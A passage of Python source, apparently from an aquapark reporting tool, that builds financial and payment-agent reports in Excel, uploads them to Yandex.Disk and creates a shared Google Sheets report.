self.agentreport_dict_month[org]['Итого по группе'][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month[org]['Итого по группе'][0][2] += \ self.itog_report_month[tariff][1] if tariff != 'Итого по отчету': self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][2] += \ self.itog_report_month[tariff][1] else: self.agentreport_dict_month[org][self.itog_report_month[tariff][2]] = [] self.agentreport_dict_month[org][self.itog_report_month[tariff][2]]. \ append(['Итого по папке', 0, 0.0]) self.agentreport_dict_month[org][self.itog_report_month[tariff][2]]. \ append([tariff, self.itog_report_month[tariff][0], self.itog_report_month[tariff][1]]) self.agentreport_dict_month[org][self.itog_report_month[tariff][2]][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month[org][self.itog_report_month[tariff][2]][0][2] += \ self.itog_report_month[tariff][1] self.agentreport_dict_month[org]['Итого по группе'][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month[org]['Итого по группе'][0][2] += \ self.itog_report_month[tariff][1] if tariff != 'Итого по отчету': self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][2] += \ self.itog_report_month[tariff][1] except KeyError: self.agentreport_dict_month[org][self.itog_report_month[tariff][2]] = [] self.agentreport_dict_month[org][self.itog_report_month[tariff][2]]. \ append(['Итого по папке', 0, 0.0]) self.agentreport_dict_month[org][self.itog_report_month[tariff][2]]. \ append((tariff, self.itog_report_month[tariff][0], self.itog_report_month[tariff][1])) self.agentreport_dict_month[org][self.itog_report_month[tariff][2]][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month[org][self.itog_report_month[tariff][2]][0][2] += \ self.itog_report_month[tariff][1] self.agentreport_dict_month[org]['Итого по группе'][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month[org]['Итого по группе'][0][2] += \ self.itog_report_month[tariff][1] if tariff != 'Итого по отчету': self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][1] += \ self.itog_report_month[tariff][0] self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][2] += \ self.itog_report_month[tariff][1] except KeyError: pass except TypeError: pass if self.agentreport_dict_month['ИТОГО'][''][1][2] != \ self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][2] or \ self.agentreport_dict_month['ИТОГО'][''][1][1] != \ self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][1]: self.show_dialog("Несоответствие Контрольных сумм.", f"Итого по отчету ({self.agentreport_dict_month['ИТОГО'][''][1][1]}: " f"{self.agentreport_dict_month['ИТОГО'][''][1][2]}) не равно Контрольной сумме услуг" f"({self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][1]}: " f"{self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][2]})" ) logging.error(f"{__name__}: {str(datetime.now())[:-7]}: Несоответствие Контрольных сумм. " f"Итого по отчету ({self.agentreport_dict_month['ИТОГО'][''][1][1]}: " f"{self.agentreport_dict_month['ИТОГО'][''][1][2]}) не равно Контрольной сумме услуг" f"({self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][1]}: " f"{self.agentreport_dict_month['Контрольная сумма']['Cумма'][0][2]})") def export_fin_report(self): """ Сохраняет Финансовый отчет в виде Excel-файла в локальную директорию """ # определяем стили h1 = Font(name='Times New Roman', size=18, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font = Font(name='Times New Roman', size=9, bold=False, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font_bold = Font(name='Times New Roman', size=9, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') fill = PatternFill(fill_type='solid', start_color='c1c1c1', end_color='c2c2c2') table_color = PatternFill(fill_type='solid', start_color='e2e2e2', end_color='e9e9e9') align_top = Alignment(horizontal='general', vertical='top', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) align_top_center = Alignment(horizontal='center', vertical='top', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) border = Border(left=Side(border_style='thin', color='FF000000'), right=Side(border_style='thin', color='FF000000'), top=Side(border_style='thin', color='FF000000'), bottom=Side(border_style='thin', color='FF000000'), diagonal=Side(border_style='thin', color='FF000000'), diagonal_direction=0, outline=Side(border_style='thin', color='FF000000'), vertical=Side(border_style='thin', color='FF000000'), horizontal=Side(border_style='thin', color='FF000000') ) align_left = Alignment(horizontal='left', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0) number_format = 'General' protection = Protection(locked=True, hidden=False) column = ['', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] self.row = '0' def next_row(): self.row = str(int(self.row) + 1) return self.row # объект wb = Workbook() # активный лист ws = wb.active # название страницы # ws = wb.create_sheet('первая страница', 0) ws.title = 'Финансовый отчет' # шрифты ws['A1'].font = h1 # выравнивание ws['A1'].alignment = align_left # Ширина стролбцов ws.column_dimensions['A'].width = 1 / 7 * 67 ws.column_dimensions['B'].width = 1 / 7 * 95 ws.column_dimensions['C'].width = 1 / 7 * 87 ws.column_dimensions['D'].width = 1 / 7 * 87 ws.column_dimensions['E'].width = 1 / 7 * 47 ws.column_dimensions['F'].width = 1 / 7 * 87 ws.column_dimensions['G'].width = 1 / 7 * 87 ws.column_dimensions['H'].width = 1 / 7 * 47 ws.column_dimensions['I'].width = 1 / 7 * 87 ws.column_dimensions['J'].width = 1 / 7 * 87 ws.column_dimensions['K'].width = 1 / 7 * 47 ws.column_dimensions['L'].width = 1 / 7 * 87 ws.column_dimensions['M'].width = 1 / 7 * 87 ws.column_dimensions['N'].width = 1 / 7 * 47 ws.column_dimensions['O'].width = 1 / 7 * 87 ws.column_dimensions['P'].width = 1 / 7 * 87 ws.column_dimensions['Q'].width = 1 / 7 * 47 ws.column_dimensions['R'].width = 1 / 7 * 87 ws.column_dimensions['S'].width = 1 / 7 * 87 ws.column_dimensions['T'].width = 1 / 7 * 47 ws.column_dimensions['U'].width = 1 / 7 * 87 ws.column_dimensions['V'].width = 1 / 7 * 47 ws.column_dimensions['W'].width = 1 / 7 * 87 ws.column_dimensions['X'].width = 1 / 7 * 87 ws.column_dimensions['Y'].width = 1 / 7 * 87 ws.column_dimensions['Z'].width = 1 / 7 * 87 # значение ячейки # ws['A1'] = "Hello!" ws[column[1] + next_row()] = 'Финансовый отчет' ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column) - 1) # шрифты ws[column[1] + self.row].font = h1 # выравнивание ws[column[1] + self.row].alignment = align_left # Высота строк ws.row_dimensions[1].height = 24 ws[column[1] + next_row()] = 'За период с:' ws[column[1] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[2] + self.row] = (self.finreport_dict["Дата"][0]).strftime("%d.%m.%Y") ws[column[2] + self.row].font = font_bold ws[column[2] + self.row].alignment = align_top ws[column[3] + self.row] = 'по' ws[column[3] + self.row].font = font ws[column[3] + self.row].alignment = align_top ws[column[4] + self.row] = (self.finreport_dict["Дата"][1] - timedelta(1)).strftime("%d.%m.%Y") ws[column[4] + self.row].font = font_bold ws[column[4] + self.row].alignment = align_top # ТАБЛИЦА self.color = False def merge_table(): # ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=4) for b in range(1, 27): ws[column[b] + self.row].font = font ws[column[b] + self.row].alignment = align_top if b not in (1, 2, 5, 8, 11, 14, 17, 20, 22): ws[column[b] + self.row].number_format = '#,##0.00 ₽' ws[column[b] + self.row].border = border if self.color: b = 1 while b < len(column): ws[column[b] + self.row].fill = table_color b += 1 self.color = False else: self.color = True ws[column[1] + next_row()] = 'Дата' ws.merge_cells(start_row=self.row, start_column=1, end_row=str(int(self.row) + 1), end_column=1) ws[column[2] + self.row] = 'Кол-во проходов' ws.merge_cells(start_row=self.row, start_column=2, end_row=str(int(self.row) + 1), end_column=2) ws[column[3] + self.row] = 'Общая сумма' ws.merge_cells(start_row=self.row, start_column=3, end_row=str(int(self.row) + 1), end_column=3) ws[column[4] + self.row] = 'Сумма KPI' ws.merge_cells(start_row=self.row, start_column=4, end_row=str(int(self.row) + 1), end_column=4) ws[column[5] + self.row] = 'Билеты' ws.merge_cells(start_row=self.row, start_column=5, end_row=self.row, end_column=7) ws[column[8] + self.row] = 'Билеты КОРП' ws.merge_cells(start_row=self.row, start_column=8, end_row=self.row, end_column=10) ws[column[11] + self.row] = 'Термозона' ws.merge_cells(start_row=self.row, start_column=11, end_row=self.row, end_column=13) ws[column[14] + self.row] = 'Термозона КОРП' ws.merge_cells(start_row=self.row, start_column=14, end_row=self.row, end_column=16) ws[column[17] + self.row] = 'Общепит' ws.merge_cells(start_row=self.row, start_column=17, end_row=self.row, end_column=19) ws[column[20] + self.row] = 'Прочее' ws.merge_cells(start_row=self.row, start_column=20, end_row=self.row, end_column=21) ws[column[22] + self.row] = 'Online Продажи' ws.merge_cells(start_row=self.row, start_column=22, end_row=self.row, end_column=24) ws[column[25] + self.row] = 'Сумма безнал' ws.merge_cells(start_row=self.row, start_column=25, end_row=str(int(self.row) + 1), end_column=25) ws[column[26] + self.row] = 'Сумма Biglion' ws.merge_cells(start_row=self.row, start_column=26, end_row=str(int(self.row) + 1), end_column=26) # раскрвшивание фона для заголовков b = 1 while b < len(column): ws[column[b] + self.row].fill = fill b += 1 for b in range(1, 27): ws[column[b] + self.row].font = font ws[column[b] + self.row].alignment = align_top_center ws[column[b] + self.row].border = border ws[column[5] + next_row()] = 'Кол-во' ws[column[6] + self.row] = 'Сумма' ws[column[7] + self.row] = 'Средний чек' ws[column[8] + self.row] = 'Кол-во' ws[column[9] + self.row] = 'Сумма' ws[column[10] + self.row] = 'Средний чек' ws[column[11] + self.row] = 'Кол-во' ws[column[12] + self.row] = 'Сумма' ws[column[13] + self.row] = 'Средний чек' ws[column[14] + self.row] = 'Кол-во' ws[column[15] + self.row] = 'Сумма' ws[column[16] + self.row] = 'Средний чек' ws[column[17] + self.row] = 'Кол-во' ws[column[18] + self.row] = 'Сумма' ws[column[19] + self.row] = 'Средний чек' ws[column[20] + self.row] = 'Кол-во' ws[column[21] + self.row] = 'Сумма' ws[column[22] + self.row] = 'Кол-во' ws[column[23] + self.row] = 'Сумма' ws[column[24] + self.row] = 'Средний чек' # раскрвшивание фона для заголовков b = 1 while b < len(column): ws[column[b] + self.row].fill = fill b += 1 for b in range(1, 27): ws[column[b] + self.row].font = font ws[column[b] + self.row].alignment = align_top_center ws[column[b] + self.row].border = border if self.finreport_dict['Дата'][0] == self.finreport_dict['Дата'][1] - timedelta(1): date_ = datetime.strftime(self.finreport_dict["Дата"][0], "%Y-%m-%d") else: date_ = f'{datetime.strftime(self.finreport_dict["Дата"][0], "%Y-%m-%d")} - ' \ f'{datetime.strftime(self.finreport_dict["Дата"][1] - timedelta(1), "%Y-%m-%d")}' ws[column[1] + next_row()] = date_ ws[column[2] + self.row] = self.finreport_dict['Кол-во проходов'][0] ws[column[3] + self.row] = self.finreport_dict['ИТОГО'][1] ws[column[4] + self.row] = f'=C{self.row}-U{self.row}+W{self.row}+Y{self.row}+Z{self.row}' ws[column[5] + self.row] = self.finreport_dict['Билеты аквапарка'][0] ws[column[6] + self.row] = self.finreport_dict['Билеты аквапарка'][1] ws[column[7] + self.row] = f'=ЕСЛИОШИБКА(F{self.row}/E{self.row},0)' ws[column[8] + self.row] = self.finreport_dict['Билеты аквапарка КОРП'][0] ws[column[9] + self.row] = self.finreport_dict['Билеты аквапарка КОРП'][0] ws[column[10] + self.row] = f'=ЕСЛИОШИБКА(I{self.row}/H{self.row},0)' ws[column[11] + self.row] = self.finreport_dict['Термозона'][0] ws[column[12] + self.row] = self.finreport_dict['Термозона'][1] ws[column[13] + self.row] = f'=ЕСЛИОШИБКА(L{self.row}/K{self.row},0)' ws[column[14] + self.row] = self.finreport_dict['Термозона КОРП'][0] ws[column[15] + self.row] = self.finreport_dict['Термозона КОРП'][1] ws[column[16] + self.row] = f'=ЕСЛИОШИБКА(O{self.row}/N{self.row},0)' ws[column[17] + self.row] = self.finreport_dict['Общепит'][0] ws[column[18] + self.row] = self.finreport_dict['Общепит'][1] ws[column[19] + self.row] = f'=ЕСЛИОШИБКА(R{self.row}/Q{self.row},0)' ws[column[20] + self.row] = self.finreport_dict['Прочее'][0] ws[column[21] + self.row] = self.finreport_dict['Прочее'][1] ws[column[22] + self.row] = self.finreport_dict['Online Продажи'][0] ws[column[23] + self.row] = self.finreport_dict['Online Продажи'][1] ws[column[24] + self.row] = f'=ЕСЛИОШИБКА(W{self.row}/V{self.row},0)' ws[column[25] + self.row] = 0 ws[column[26] + self.row] = 0 merge_table() # увеличиваем все строки по высоте max_row = ws.max_row i = 2 while i <= max_row: rd = ws.row_dimensions[i] rd.height = 18 i += 1 if self.finreport_dict['Дата'][0] == self.finreport_dict["Дата"][1] - timedelta(1): date_ = datetime.strftime(self.finreport_dict["Дата"][0], "%Y-%m-%d") else: date_ = f'{datetime.strftime(self.finreport_dict["Дата"][0], "%Y-%m-%d")} - ' \ f'{datetime.strftime(self.finreport_dict["Дата"][1], "%Y-%m-%d")}' path = self.local_folder + self.path + date_ + f' Финансовый отчет' + ".xlsx" logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Сохранение финансового отчета в {path}') path = self.create_path(path) self.save_file(path, wb) return path def export_agent_report(self, agentreport_dict): """ Сохраняет отчет платежного агента в виде Excel-файла в локальную директорию """ # определяем стили h1 = Font(name='Times New Roman', size=18, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font = Font(name='Times New Roman', size=9, bold=False, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font_bold = Font(name='Times New Roman', size=9, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') fill = PatternFill(fill_type='solid', start_color='c1c1c1', end_color='c2c2c2') table_color = PatternFill(fill_type='solid', start_color='e2e2e2', end_color='e9e9e9') align_top = Alignment(horizontal='general', vertical='top', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) border = Border(left=Side(border_style='thin', color='FF000000'), right=Side(border_style='thin', color='FF000000'), top=Side(border_style='thin', color='FF000000'), bottom=Side(border_style='thin', color='FF000000'), diagonal=Side(border_style='thin', color='FF000000'), diagonal_direction=0, outline=Side(border_style='thin', color='FF000000'), vertical=Side(border_style='thin', color='FF000000'), horizontal=Side(border_style='thin', color='FF000000') ) align_left = Alignment(horizontal='left', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0) number_format = 'General' protection = Protection(locked=True, hidden=False) column = ['', 'A', 'B', 'C', 'D', 'E'] self.row = '0' def next_row(): self.row = str(int(self.row) + 1) return self.row # объект wb = Workbook() # активный лист ws = wb.active # название страницы # ws = wb.create_sheet('первая страница', 0) ws.title = 'Отчет платежного агента' # шрифты ws['A1'].font = h1 # выравнивание ws['A1'].alignment = align_left # Ширина стролбцов ws.column_dimensions['A'].width = 1 / 7 * 124 ws.column_dimensions['B'].width = 1 / 7 * 80 ws.column_dimensions['C'].width = 1 / 7 * 24 ws.column_dimensions['D'].width = 1 / 7 * 175 ws.column_dimensions['E'].width = 1 / 7 * 200 # значение ячейки # ws['A1'] = "Hello!" ws[column[1] + next_row()] = 'Отчет платежного агента по приему денежных средств' ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column)-1) # шрифты ws[column[1] + self.row].font = h1 # выравнивание ws[column[1] + self.row].alignment = align_left # Высота строк ws.row_dimensions[1].height = 24 ws[column[1] + next_row()] = f'{agentreport_dict["Организация"][1]}' ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column) - 1) ws[column[1] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[1] + next_row()] = 'За период с:' ws[column[1] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[2] + self.row] = (agentreport_dict["Дата"][0]).strftime("%d.%m.%Y") ws[column[2] + self.row].font = font_bold ws[column[2] + self.row].alignment = align_top ws[column[3] + self.row] = 'по' ws[column[3] + self.row].font = font ws[column[3] + self.row].alignment = align_top ws[column[4] + self.row] = (agentreport_dict["Дата"][1] - timedelta(1)).strftime("%d.%m.%Y") ws[column[4] + self.row].font = font_bold ws[column[4] + self.row].alignment = align_top # ТАБЛИЦА self.color = False def merge_table(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=4) ws[column[1] + self.row].font = font ws[column[5] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[5] + self.row].alignment = align_top ws[column[5] + self.row].number_format = '#,##0.00 ₽' b = 1 while b < len(column): ws[column[b] + self.row].border = border b += 1 if self.color: b = 1 while b < len(column): ws[column[b] + self.row].fill = table_color b += 1 self.color = False else: self.color = True def merge_table_bold(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=4) ws[column[1] + self.row].font = font_bold ws[column[5] + self.row].font = font_bold ws[column[1] + self.row].alignment = align_top ws[column[5] + self.row].alignment = align_top b = 1 while b < len(column): ws[column[b] + self.row].border = border b += 1 ws[column[1] + next_row()] = 'Наименование поставщика услуг' ws[column[5] + self.row] = 'Сумма' merge_table_bold() # раскрвшивание фона для заголовков b = 1 while b < len(column): ws[column[b] + self.row].fill = fill b += 1 itog_sum = 0 for line in agentreport_dict: if line != 'Организация' and line != 'Дата' and line != 'ИТОГО': try: itog_sum += agentreport_dict[line][1] ws[column[1] + next_row()] = line ws[column[5] + self.row] = agentreport_dict[line][1] merge_table() except AttributeError: pass ws[column[1] + next_row()] = 'Итого' if itog_sum != agentreport_dict['ИТОГО'][1]: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Ошибка. Отчет платежного агента: сумма строк ' f'({itog_sum}) не равна строке ИТОГО ' f'({agentreport_dict["ИТОГО"][1]})') self.show_dialog(f'Ошибка. Отчет платежного агента', f'Ошибка. Отчет платежного агента: сумма строк ' f'({itog_sum}) не равна строке ИТОГО ' f'({agentreport_dict["ИТОГО"][1]})') ws[column[5] + self.row] = itog_sum ws[column[5] + self.row].number_format = '#,##0.00 ₽' merge_table_bold() # увеличиваем все строки по высоте max_row = ws.max_row i = 2 while i <= max_row: rd = ws.row_dimensions[i] rd.height = 18 i += 1 if agentreport_dict['Дата'][0] == agentreport_dict["Дата"][1] - timedelta(1): date_ = datetime.strftime(agentreport_dict["Дата"][0], "%Y-%m-%d") else: date_ = f'{datetime.strftime(agentreport_dict["Дата"][0], "%Y-%m-%d")} - ' \ f'{datetime.strftime(agentreport_dict["Дата"][1], "%Y-%m-%d")}' path = self.local_folder + self.path + date_ + f' Отчет платежного агента {agentreport_dict["Организация"][1]}' + ".xlsx" logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Сохранение отчета платежного агента ' f'{agentreport_dict["Организация"][1]} в {path}') path = self.create_path(path) self.save_file(path, wb) return path def create_path(self, path): """ Проверяет наличие указанного пути. В случае отсутствия каких-либо папок создает их """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Проверка локальных путей сохранения файлов...') list_path = path.split('/') path = '' end_path = '' if list_path[-1][-4:] == '.xls' or list_path[-1]: end_path = list_path.pop() list_path.append(self.date_from.strftime('%Y')) list_path.append(self.date_from.strftime('%m') + '-' + self.date_from.strftime('%B')) directory = os.getcwd() for folder in list_path: if folder not in os.listdir(): os.mkdir(folder) logging.warning(f'{__name__}: {str(datetime.now())[:-7]}: В директории "{os.getcwd()}" создана папка "{folder}"') os.chdir(folder) else: os.chdir(folder) path += folder + '/' path += end_path os.chdir(directory) return path def save_file(self, path, file): """ Проверяет не занят ли файл другим процессом и если нет, то перезаписывает его, в противном случае выводит диалоговое окно с предложением закрыть файл и продолжить """ try: file.save(path) except PermissionError as e: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Файл "{path}" занят другим процессом.\n{repr(e)}') self.show_dialog(f'Ошибка записи файла', f'Файл "{path}" занят другим процессом.\nДля повтора попытки закройте это сообщение', func=self.save_file, path=path, file=file) def sync_to_yadisk(self, path_list, token): """ Копирует локальные файлы в Яндекс Диск """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Копирование отчетов в Яндекс.Диск...') if path_list: if self.use_yadisk: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Соединение с YaDisk...') self.yadisk = yadisk.YaDisk(token=token) if self.yadisk.check_token(): path = '' + self.path remote_folder = self.create_path_yadisk(path) for local_path in path_list: remote_path = remote_folder + local_path.split('/')[-1] logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Отправка файла "{local_path.split("/")[-1]}" в YaDisk...') files_list_yandex = list(self.yadisk.listdir(remote_folder)) files_list = [] for key in files_list_yandex: if key['file']: files_list.append(remote_folder + key['name']) if remote_path in files_list: logging.warning( f'{__name__}: {str(datetime.now())[:-7]}: ' f'Файл "{local_path.split("/")[-1]}" уже существует в "{remote_folder}" и будет заменен!') self.yadisk.remove(remote_path, permanently=True) self.yadisk.upload(local_path, remote_path) logging.info( f'{__name__}: {str(datetime.now())[:-7]}: ' f'Файл "{local_path.split("/")[-1]}" отправлен в "{remote_folder}" YaDisk...') else: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Ошибка YaDisk: token не валиден') self.show_dialog('Ошибка соединения с Yandex.Disc', f'\nОтчеты сохранены в папке {self.local_folder} ' f'и не будут отправлены на Yandex.Disc.') else: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Нет ни одного отчета для отправки в Yandex.Disk') def create_path_yadisk(self, path): """ Проверяет наличие указанного пути в Яндекс Диске. В случае отсутствия каких-либо папок создает их :param path: :return: """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Проверка путей сохранения файлов на Яндекс.Диске...') list_path = path.split('/') path = '' end_path = '' if list_path[-1][-4:] == '.xls' or list_path[-1] == '': end_path = list_path.pop() list_path.append(self.date_from.strftime('%Y')) list_path.append(self.date_from.strftime('%m') + '-' + self.date_from.strftime('%B')) directory = '/' list_path_yandex = [] for folder in list_path: folder = directory + folder directory = folder + '/' list_path_yandex.append(folder) directory = '/' for folder in list_path_yandex: folders_list = [] folders_list_yandex = list(self.yadisk.listdir(directory)) for key in folders_list_yandex: if not key['file']: folders_list.append(directory + key['name']) if folder not in folders_list: self.yadisk.mkdir(folder) logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Создание новой папки в YandexDisk - "{folder}"') directory = folder + '/' else: directory = folder + '/' path = list_path_yandex[-1] + '/' return path def export_to_google_sheet(self): """ Формирование и заполнение google-таблицы """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Сохранение Финансового отчета в Google-таблицах...') self.doc_version = 10 self.sheet_width = 44 self.sheet2_width = 3 self.sheet3_width = 14 self.sheet4_width = 3 self.sheet5_width = 3 self.sheet6_width = 16 self.height = 40 self.sheet2_height = 40 self.sheet4_height = 300 self.sheet5_height = 300 self.sheet6_height = 40 # self.CREDENTIALS_FILE # имя файла с закрытым ключом credentials = ServiceAccountCredentials.from_json_keyfile_name(self.CREDENTIALS_FILE, ['https://www.googleapis.com/auth/spreadsheets', 'https://www.googleapis.com/auth/drive']) httpAuth = credentials.authorize(httplib2.Http()) try: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Попытка авторизации с Google-документами ...') self.googleservice = apiclient.discovery.build('sheets', 'v4', http=httpAuth) except IndexError as e: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Ошибка {repr(e)}') self.data_report = datetime.strftime(self.finreport_dict['Дата'][0], '%m') month = [ '', 'Январь', 'Февраль', 'Март', 'Апрель', 'Май', 'Июнь', 'Июль', 'Август', 'Сентябрь', 'Октябрь', 'Ноябрь', 'Декабрь', ] self.data_report = month[int(self.data_report)] doc_name = f"{datetime.strftime(self.finreport_dict['Дата'][0], '%Y-%m')} " \ f"({self.data_report}) - Финансовый отчет по Аквапарку" if self.finreport_dict['Дата'][0] + timedelta(1) != self.finreport_dict['Дата'][1]: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Экспорт отчета в Google Sheet за несколько дней невозможен!') self.show_dialog('Ошибка экспорта в Google.Sheet', 'Экспорт отчета в Google Sheet за несколько дней невозможен!') else: with open(self.list_google_docs, 'r', encoding='utf-8') as f: links = csv.reader(f, delimiter=';') self.google_links = {} for line in links: self.google_links[line[0]] = [line[1],] if len(line) > 2: self.google_links[line[0]].append(line[2]) else: self.google_links[line[0]].append(0) if self.date_from.strftime('%Y-%m') in self.google_links: if int(self.google_links[self.date_from.strftime('%Y-%m')][1]) == self.doc_version: self.google_doc = (self.date_from.strftime('%Y-%m'), self.google_links[self.date_from.strftime('%Y-%m')][0]) else: logging.error(f"{__name__}: {str(datetime.now())[:-7]}: " f"Версия Финансового отчета (" f"{self.google_links[self.date_from.strftime('%Y-%m')][1]}) " f"не соответствует текущей ({self.doc_version}).\n" f"Необходимо сначала удалить строку с ссылкой на старую версию из файла " f"\"list_google_docs.csv\" затем заново сформировать отчет с начала месяца." ) self.show_dialog("Несоответствие версий финансового отчета", f"Версия Финансового отчета (" f"{self.google_links[self.date_from.strftime('%Y-%m')][1]}) " f"не соответствует текущей ({self.doc_version}).\n" f"Необходимо сначала удалить строку с ссылкой на старую версию из файла " f"\"list_google_docs.csv\" затем заново сформировать отчет с начала месяца.") return None else: self.google_doc = None # Создание документа self.google_kwote_timer = datetime.now() logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Создание Google-документа...') self.spreadsheet = self.googleservice.spreadsheets().create(body={ 'properties': {'title': doc_name, 'locale': 'ru_RU'}, 'sheets': [{'properties': {'sheetType': 'GRID', 'sheetId': 0, 'title': 'Сводный', 'gridProperties': {'rowCount': self.height, 'columnCount': self.sheet_width}}}, {'properties': {'sheetType': 'GRID', 'sheetId': 1, 'title': 'Смайл', 'gridProperties': {'rowCount': self.sheet2_height, 'columnCount': self.sheet2_width}}}, {'properties': {'sheetType': 'GRID', 'sheetId': 2, 'title': 'План', 'gridProperties': {'rowCount': self.height, 'columnCount': self.sheet3_width}}}, {'properties': {'sheetType': 'GRID', 'sheetId': 3, 'title': 'Итоговый', 'gridProperties': {'rowCount': self.sheet4_height, 'columnCount': self.sheet4_width}}}, {'properties': {'sheetType': 'GRID', 'sheetId': 4, 'title': 'Итоговый ПА', 'gridProperties': {'rowCount': self.sheet5_height, 'columnCount': self.sheet5_width}}}, {'properties': {'sheetType': 'GRID', 'sheetId': 5, 'title': 'Пляж', 'gridProperties': {'rowCount': self.sheet6_height, 'columnCount': self.sheet6_width}}} ] }).execute() # Доступы к документу logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Настройка доступов к файлу GoogleSheets...') self.google_reader_list = self.google_reader_list.split(',') self.google_writer_list = self.google_writer_list.split(',') driveService = apiclient.discovery.build('drive', 'v3', http=httpAuth) if self.google_all_read: shareRes = driveService.permissions().create( fileId=self.spreadsheet['spreadsheetId'], body={'type': 'anyone', 'role': 'reader'}, # доступ на чтение кому угодно fields='id' ).execute() # Возможные значения writer, commenter, reader # доступ на Чтение определенным пользователоям for adress in self.google_reader_list: shareRes = driveService.permissions().create( fileId=self.spreadsheet['spreadsheetId'], body={'type': 'user', 'role': 'reader', 'emailAddress': adress}, fields='id' ).execute() # доступ на Запись определенным пользователоям for adress in self.google_writer_list: shareRes = driveService.permissions().create( fileId=self.spreadsheet['spreadsheetId'], body={'type': 'user', 'role': 'writer', 'emailAddress': adress}, fields='id' ).execute() # ЛИСТ 1 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Создание листа 1 в файле GoogleSheets...') sheetId = 0 # Ширина столбцов ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) ss.prepare_setColumnsWidth(0, 1, 105) ss.prepare_setColumnsWidth(2, 7, 120) ss.prepare_setColumnWidth(8, 65) ss.prepare_setColumnWidth(9, 120) ss.prepare_setColumnWidth(10, 100) ss.prepare_setColumnsWidth(11, 12, 100) ss.prepare_setColumnWidth(13, 65) ss.prepare_setColumnWidth(14, 120) ss.prepare_setColumnWidth(15, 100) ss.prepare_setColumnWidth(16, 65) ss.prepare_setColumnWidth(17, 120) ss.prepare_setColumnWidth(18, 100) ss.prepare_setColumnWidth(19, 65) ss.prepare_setColumnWidth(20, 120) ss.prepare_setColumnWidth(21, 100) ss.prepare_setColumnWidth(22, 65) ss.prepare_setColumnWidth(23, 120) ss.prepare_setColumnWidth(24, 100) ss.prepare_setColumnWidth(25, 65) ss.prepare_setColumnWidth(26, 120) ss.prepare_setColumnWidth(27, 100) ss.prepare_setColumnWidth(28, 65) ss.prepare_setColumnWidth(29, 120) ss.prepare_setColumnWidth(30, 100) ss.prepare_setColumnWidth(31, 65) ss.prepare_setColumnWidth(32, 120) ss.prepare_setColumnWidth(33, 100) ss.prepare_setColumnWidth(34, 65) ss.prepare_setColumnWidth(35, 120) ss.prepare_setColumnWidth(36, 100) ss.prepare_setColumnWidth(37, 65) ss.prepare_setColumnWidth(38, 120) ss.prepare_setColumnWidth(39, 65) ss.prepare_setColumnWidth(40, 120) ss.prepare_setColumnWidth(41, 100) ss.prepare_setColumnWidth(42, 120) ss.prepare_setColumnWidth(43, 120) # Объединение ячеек ss.prepare_mergeCells("A1:A2") ss.prepare_mergeCells("B1:B2") ss.prepare_mergeCells("C1:C2") ss.prepare_mergeCells("D1:D2") ss.prepare_mergeCells("E1:E2") ss.prepare_mergeCells("F1:F2") ss.prepare_mergeCells("G1:G2") 